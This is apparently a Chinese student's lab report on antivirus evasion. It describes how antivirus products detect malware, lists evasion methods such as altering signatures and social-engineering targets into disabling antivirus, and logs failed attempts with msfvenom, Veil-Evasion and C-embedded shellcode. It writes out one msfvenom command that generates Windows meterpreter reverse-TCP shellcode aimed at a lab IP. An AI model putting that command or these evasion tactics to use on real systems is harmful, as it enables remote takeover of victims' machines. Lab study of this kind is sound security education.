1 基础问题回答
1.1 杀软是如何检测出恶意代码的?
- 特征码:亡羊补牢的方式,根据现有的病毒的特征码进行匹配。
- 启发式:看着你干的事情像是恶意软件会做的
- 基于行为:根据软件的异常行为
1.2 免杀是做什么?
使恶意程序不被安全软件发现。
1.3 免杀的基本方法有哪些?
- 改变特征码。
- 改变行为。
- 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
- 使用社工类攻击,诱骗目标关闭AV软件。
- 纯手工打造一个恶意软件。
2 实验总结与体会
按照教程一步步来,结果都不能免杀。免杀还是挺难的。如果360已经使用基于行为的查杀模式,那么对该实验中的shellcode再怎么加密加壳也是徒劳的,需要在其他方面多下功夫想办法。
3 离实战还缺些什么技术或步骤?
对操作系统的安全防护体系和杀软的工作模式了解还不够,只能按照教程来,就算有一点自己的想法,也不知道该如何去实现。此外,就算做好了免杀,将该恶意程序放入目标主机的过程才是更加困难的。
4 实践过程记录
2.1 msfvenom直接生成meterpreter
如图,
免杀效果测试
2.2 msfvenom使用编码器
如图,
免杀效果并不理想
2.3 使用veil-evasion
需要自行安装,安装过程较慢,使用方法和msf很像。如图,
还是不能免杀,直接最后一种方法吧。
2.4 C语言调用Shellcode
使用命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.186.132 LPORT=1692 -f c
得到shellcode并放到c文件中,如图
用到很多windows特有的头文件,linux gcc无法编译,我使用的是vc6.0,但是缺少stdafx.h文件,我自己下载了一个。结果刚编译好就被360删了。
5 遇到的问题与解决过程
编译c程序的问题,装vs太慢太复杂,用了现成的vc6,通过自己下载头文件解决头文件缺失问题。